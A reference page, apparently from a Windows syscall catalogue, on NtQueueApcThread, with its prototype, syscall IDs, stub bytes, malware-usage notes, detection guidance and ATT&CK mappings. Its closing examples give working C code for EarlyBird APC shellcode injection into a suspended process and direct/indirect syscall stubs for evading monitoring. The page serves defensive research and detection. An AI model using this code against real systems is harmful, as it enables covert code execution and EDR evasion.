> Windows Syscalls
ntoskrnl.exeT1055.004T1055T1106

NtQueueApcThread

Queues a user-mode asynchronous procedure call (APC) to a target thread.

Prototype

NTSTATUS NtQueueApcThread(
  HANDLE          ThreadHandle,
  PIO_APC_ROUTINE ApcRoutine,
  PVOID           ApcArgument1,
  PVOID           ApcArgument2,
  PVOID           ApcArgument3
);

Arguments

NameTypeDirDescription
ThreadHandleHANDLEinHandle to the target thread with THREAD_SET_CONTEXT access.
ApcRoutinePIO_APC_ROUTINEinUser-mode address the thread will execute when it enters an alertable wait.
ApcArgument1PVOIDinFirst argument passed to ApcRoutine. Often used as the payload pointer.
ApcArgument2PVOIDinSecond argument passed to ApcRoutine.
ApcArgument3PVOIDinThird argument passed to ApcRoutine.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x45win10-1507
Win10 16070x45win10-1607
Win10 17030x45win10-1703
Win10 17090x45win10-1709
Win10 18030x45win10-1803
Win10 18090x45win10-1809
Win10 19030x45win10-1903
Win10 19090x45win10-1909
Win10 20040x45win10-2004
Win10 20H20x45win10-20h2
Win10 21H10x45win10-21h1
Win10 21H20x45win10-21h2
Win10 22H20x45win10-22h2
Win11 21H20x45win11-21h2
Win11 22H20x45win11-22h2
Win11 23H20x45win11-23h2
Win11 24H20x45win11-24h2
Server 20160x45winserver-2016
Server 20190x45winserver-2019
Server 20220x45winserver-2022
Server 20250x45winserver-2025

Kernel module

ntoskrnl.exeNtQueueApcThread

Related APIs

QueueUserAPCQueueUserAPC2NtQueueApcThreadExNtQueueApcThreadEx2NtTestAlertZwQueueApcThread

Syscall stub

4C 8B D1            mov r10, rcx
B8 45 00 00 00      mov eax, 0x45
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Queues a regular user APC on the target thread. SSN `0x45` is stable across every shipped Win10/11 build. A queued user APC only fires when the target thread enters an *alertable* wait (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, GUI message-loop idles). If the thread never goes alertable, the APC sits in the queue forever — which is why `NtQueueApcThreadEx` with `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) was introduced: it forces the APC to fire regardless. EarlyBird APC injection sidesteps the alertability requirement by targeting a freshly-created suspended thread that has not yet executed its first instruction.

Common malware usage

Two main flavours abuse this. (1) Classic remote APC injection: open a target thread, queue an APC pointing at `LoadLibraryA` or directly at shellcode in `ApcArgument1`, wait for it to fire. (2) EarlyBird: spawn a benign process suspended, queue the APC on the primary thread before any of the loader runs, resume — the APC fires when the loader hits its first alertable wait inside `ntdll!LdrpInitializeProcess`. Used by Lazarus (BISTROMATH), FIN7 / Carbanak, Finfisher, the original APCs+Atombombing combination, and Cobalt Strike's `AddressOfPage` BOFs.

Lazarus toolingFIN7 CarbanakCobalt StrikeFinfisherQakbotIcedID

Detection opportunities

There is no dedicated Sysmon event. ETW Threat Intelligence emits `EtwTiLogQueueApcThread` for user APCs queued cross-process — this is the primary kernel-side signal and what most EDRs consume. The `PsSetCreateThreadNotifyRoutine` callback fires only on thread creation, not APC queue, so EarlyBird is detected by the *combination* of `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` from a non-debugger parent. Stack-walk telemetry on APC delivery is the gold standard: if the return chain shows ntdll-only frames with a private-memory APC routine, that is high-confidence injection.

Direct syscall examples

asmx64 direct stub

; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 45h          ; SSN
    syscall
    ret
NtQueueApcThread ENDP

cEarlyBird APC injection

// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

cHell's Gate dynamic lookup

// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);

MITRE ATT&CK mappings

Last verified: 2026-05-20